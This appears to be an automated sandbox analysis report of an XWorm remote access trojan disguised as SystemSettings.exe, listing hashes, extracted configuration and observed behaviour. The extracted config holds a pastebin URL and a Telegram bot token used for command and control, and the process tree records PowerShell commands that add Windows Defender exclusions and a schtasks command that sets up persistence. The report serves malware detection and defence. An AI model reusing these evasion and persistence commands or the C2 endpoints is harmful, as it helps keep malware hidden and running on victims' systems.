xworm | 3e29a57bde610ff61c422796b89fc4332f265cc50e966593fc2b00bb23a13a21

Analysis

max time kernel
146s
max time network
143s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
06/03/2025, 15:01

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General

Target

SystemSettings.exe
Size

332KB
MD5

701a94f53d54d38a11f4e60bc4f95b18
SHA1

7413f5e4fc73eaf07d9d6cd67fc88fd40b70d9d0
SHA256

9233d5872258aa674b015b57a4f37ca43a22524a682382cd88969cef135dacdb
SHA512

4d63f155adbc5271fc82a263c4df29566ffbabb512ad2a7c73736969b29760bc0ae86e58f396907b8afa8791e8a8b042c895f94126a00da8c0b050e7ef343440
SSDEEP

6144:6qXq7egSKNNO3BLZsgd8+f0Pn95maRWFjt:6qapSKNNOpZsgdQbmamjt

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

uoqo0jDHykn623lG

Attributes

Install_directory
%Public%
install_file
SystemSettings.exe
pastebin_url
https://pastebin.com/raw/4zaiEtZS
telegram
https://api.telegram.org/bot8175192176:AAHZuZ0-rHS66YSwsvh8-gQjbZYSbY3IyXo/sendMessage?chat_id=7537927256

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1128-37-0x00000000023B0000-0x00000000023CE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2260	powershell.exe
4120	powershell.exe
1172	powershell.exe
5104	powershell.exe
764	powershell.exe
532	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1128	SystemSettings.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 42 IoCs

Web Service

T1102

flow	ioc
22	pastebin.com
28	pastebin.com
30	pastebin.com
36	pastebin.com
40	pastebin.com
8	pastebin.com
14	pastebin.com
21	pastebin.com
27	pastebin.com
38	pastebin.com
43	pastebin.com
20	pastebin.com
23	pastebin.com
24	pastebin.com
32	pastebin.com
39	pastebin.com
5	pastebin.com
9	pastebin.com
16	pastebin.com
25	pastebin.com
35	pastebin.com
2	pastebin.com
15	pastebin.com
17	pastebin.com
26	pastebin.com
34	pastebin.com
4	pastebin.com
13	pastebin.com
33	pastebin.com
37	pastebin.com
1	pastebin.com
7	pastebin.com
10	pastebin.com
11	pastebin.com
18	pastebin.com
19	pastebin.com
42	pastebin.com
44	pastebin.com
6	pastebin.com
12	pastebin.com
31	pastebin.com
41	pastebin.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\SystemSettings.exe	SystemSettings.exe
File opened for modification	C:\Windows\System32\SystemSettings.exe	SystemSettings.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4968	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2260	powershell.exe
2260	powershell.exe
4120	powershell.exe
4120	powershell.exe
1172	powershell.exe
1172	powershell.exe
5104	powershell.exe
5104	powershell.exe
764	powershell.exe
764	powershell.exe
532	powershell.exe
532	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5008	SystemSettings.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	1128	SystemSettings.exe
Token: SeDebugPrivilege	1128	SystemSettings.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	764	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 2260	5008	SystemSettings.exe	80
PID 5008 wrote to memory of 2260	5008	SystemSettings.exe	80
PID 5008 wrote to memory of 4120	5008	SystemSettings.exe	83
PID 5008 wrote to memory of 4120	5008	SystemSettings.exe	83
PID 1128 wrote to memory of 1172	1128	SystemSettings.exe	86
PID 1128 wrote to memory of 1172	1128	SystemSettings.exe	86
PID 1128 wrote to memory of 5104	1128	SystemSettings.exe	88
PID 1128 wrote to memory of 5104	1128	SystemSettings.exe	88
PID 1128 wrote to memory of 764	1128	SystemSettings.exe	90
PID 1128 wrote to memory of 764	1128	SystemSettings.exe	90
PID 1128 wrote to memory of 532	1128	SystemSettings.exe	92
PID 1128 wrote to memory of 532	1128	SystemSettings.exe	92
PID 1128 wrote to memory of 4968	1128	SystemSettings.exe	94
PID 1128 wrote to memory of 4968	1128	SystemSettings.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SystemSettings.exe
"C:\Users\Admin\AppData\Local\Temp\SystemSettings.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemSettings.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SystemSettings.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4120

C:\Windows\System32\SystemSettings.exe
C:\Windows\System32\SystemSettings.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemSettings.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SystemSettings.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\SystemSettings.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SystemSettings.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:532
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SystemSettings" /tr "C:\Users\Public\SystemSettings.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SystemSettings.exe.log

Filesize
1KB

MD5
963a79c885ee44ffee1cd5a204a1b9e4

SHA1
830c322fb88a946b08bfa96e2cb94b273a3e906f

SHA256
6012ab1a46e5447879241d2e8c35de748cab1f82f4c2cb653224c62dd8f9d6db

SHA512
f855ceba097e59342e5b8dde11f0755bf11225782f47a7d3651cb2518572cf93891ba852ef6f422783affe8ed907ad7c5d0f80cb43d53732eacbdb9d0f4a1d37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9e8dce07aae2350e535f215eb4d48a9b

SHA1
1aec6afe5755965bcef043678bd947da2fc035e6

SHA256
f1951f097ce73de14418cec40b51e9a27ee0baea0a6d778f96eb8518d6b3ee7d

SHA512
42607684b3f33411d87f607dcd1f6242b1bb112571dcf1c21b19a7bbd0d6051c47c3faff42b43669abf217239b0b04c94277bf653f73572bba3bbcbf20bd08e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
aa6b748cd8f3e3c0e41549529b919e21

SHA1
5a4b9721f9fb5042f6ef7afd698d5ac5216a88bb

SHA256
d7d665a42f940443efb28eb231dfe1c4062394e71fba145d6eea9ec075b0f0e8

SHA512
361c523f49428a7e430279099e669a1a8af8764653f42e83105c0da3f8e8dd3be6c1719ea8c158d8f2e8425d74457147a4683190eb4a67019b9d02be44c13534

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
b0a85f07903eaad4aace8865ff28679f

SHA1
caa147464cf2e31bf9b482c3ba3c5c71951566d1

SHA256
c85c7915e0bcc6cc3d7dd2f6b9d9e4f9a3cf0ccefa043b1c500facac8428bfd5

SHA512
7a650a74a049e71b748f60614723de2b9d2385a0f404606bcb22ae807e22a74c53cf672df9e7a23605dfff37865443a5899eafea323134a818eb59c96e0f94bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0b59f3fa12628f63b5713c4833570d7f

SHA1
badcf18f1fdc94b1eadf63f27c09ad092c4a6ccb

SHA256
2332e52881483559d787508831c00192c4f0a4fedc232b0309e566a30247af1d

SHA512
01724fd9f7a20ec5ff3d2686593d5d95069135834e9b156ced36985067fb36e7b3ec2a0018e41fa125ad5d1e42c80be9e148632a9b655f2d41c1400a4320abe7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k01345tm.22h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\SystemSettings.exe

Filesize
332KB

MD5
701a94f53d54d38a11f4e60bc4f95b18

SHA1
7413f5e4fc73eaf07d9d6cd67fc88fd40b70d9d0

SHA256
9233d5872258aa674b015b57a4f37ca43a22524a682382cd88969cef135dacdb

SHA512
4d63f155adbc5271fc82a263c4df29566ffbabb512ad2a7c73736969b29760bc0ae86e58f396907b8afa8791e8a8b042c895f94126a00da8c0b050e7ef343440

Download Submit
memory/1128-37-0x00000000023B0000-0x00000000023CE000-memory.dmp

Filesize
120KB

Download
memory/2260-18-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/2260-15-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/2260-14-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/2260-13-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/2260-12-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/2260-11-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/2260-7-0x0000025A265A0000-0x0000025A265C2000-memory.dmp

Filesize
136KB

Download
memory/5008-33-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/5008-0-0x00007FF875D13000-0x00007FF875D15000-memory.dmp

Filesize
8KB

Download
memory/5008-38-0x00007FF875D10000-0x00007FF8767D2000-memory.dmp

Filesize
10.8MB

Download
memory/5008-1-0x00000000004E0000-0x000000000053A000-memory.dmp

Filesize
360KB

Download